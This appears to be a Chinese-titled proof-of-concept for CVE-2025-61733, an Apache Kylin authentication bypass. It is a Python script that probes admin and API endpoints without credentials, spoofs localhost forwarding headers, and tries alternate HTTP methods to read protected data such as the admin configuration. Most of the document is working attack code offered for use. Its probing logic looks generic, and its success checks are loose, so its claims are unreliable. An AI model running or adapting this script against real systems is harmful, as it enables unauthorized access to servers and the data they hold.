CVE-2025-61733：Apache Kylin认证绕过漏洞

# CVE-2025-61733 PoC - Apache Kylin Authentication Bypass # This PoC demonstrates how an attacker can bypass authentication # in Apache Kylin versions 4.0.0 through 5.0.2 import requests # Target Apache Kylin server TARGET_URL = "http://target-kylin-server:7070" # Step 1: Try accessing a protected endpoint without authentication # Using an alternate path/channel that bypasses authentication def exploit_auth_bypass(target_url): """ Exploit authentication bypass vulnerability in Apache Kylin. The vulnerability exists due to missing authentication checks on certain API endpoints or alternate paths. """ # List of potential bypass endpoints commonly found in Kylin bypass_endpoints = [ "/kylin/api/admin/config", "/kylin/api/user/list", "/kylin/api/projects", "/kylin/api/cubes", "/kylin/api/models", "/kylin/api/jobs", "/kylin/api/tables", "/kylin/api/diag", "/kylin/api/system/info", "/kylin/api/version", ] headers = { "User-Agent": "Mozilla/5.0 (compatible; SecurityResearcher)", "Accept": "application/json", # Attempt to bypass auth using alternate headers or methods "X-Requested-With": "XMLHttpRequest", "X-Forwarded-For": "127.0.0.1", "X-Real-IP": "127.0.0.1" } for endpoint in bypass_endpoints: url = f"{target_url}{endpoint}" try: # Attempt access without any authentication credentials response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Bypass successful at: {url}") print(f"[+] Response: {response.text[:500]}") return True elif response.status_code == 401 or response.status_code == 403: print(f"[-] Auth required at: {url} (Status: {response.status_code})") else: print(f"[?] Unexpected response at {url}: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to {url}: {e}") return False # Step 2: Attempt method-based bypass def method_bypass(target_url): """ Try different HTTP methods that might bypass authentication filters. """ url = f"{target_url}/kylin/api/admin/config" methods = ['GET', 'POST', 'PUT', 'OPTIONS', 'HEAD', 'PATCH'] for method in methods: try: response = requests.request(method, url, timeout=10) if response.status_code == 200 and method in ['OPTIONS', 'HEAD']: print(f"[+] Method bypass successful: {method} {url}") return True except: pass return False if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}") print("[*] Attempting authentication bypass...") if exploit_auth_bypass(TARGET_URL): print("[+] Vulnerability confirmed - authentication bypass successful!") else: print("[-] Could not confirm vulnerability") print("[*] Trying method-based bypass...") method_bypass(TARGET_URL)